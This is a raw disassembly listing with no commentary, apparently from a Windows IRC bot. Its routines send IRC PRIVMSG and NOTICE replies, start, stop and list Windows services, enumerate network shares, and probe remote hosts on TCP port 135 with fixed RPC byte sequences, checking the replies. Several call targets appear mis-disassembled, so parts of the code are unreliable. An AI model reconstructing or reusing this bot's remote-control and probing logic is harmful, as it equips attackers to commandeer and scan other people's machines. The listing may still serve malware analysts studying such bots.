arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB


loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E


loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al


loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax


loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax


loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43ADD8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------


loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43AD98
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43ADE8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADB0
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADB0
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------


loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43AE30
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		nop
		call	near ptr 2630F90h

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4


loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_43F868
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------


loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------


loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_43F868
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43AD8C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		call	near ptr 2670ADCh
		nop
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------


loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43AC80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		nop
		call	near ptr 2670ADCh
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------


loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43ACE8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43AC88
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43ACEC


loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 2670ADCh
		mov	ebx, eax


loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43AC9C


loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43AC9C
		pop	esi


loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump


loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_43F1A8
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------


loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_43F1A8
		call	sub_4172B0
		add	esp, 0Ch


loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_43F1A8
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43AD8C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43AD58
		test	eax, eax
		jnz	short loc_40DA25
		call	near ptr 2670ADCh
		nop
		cmp	eax, 0EAh
		jnz	loc_40DAD9


loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]


loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"


loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36


loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB


loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43AC9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------


loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax


loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43F464
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch


loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30


loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43F464
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43F464
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F88+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_43F664, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_43F664, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_43F404, eax


loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_43F404
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_43F404
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AC+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43AC98
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F88+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43AC70
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43ACE4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------


loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43AC8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"


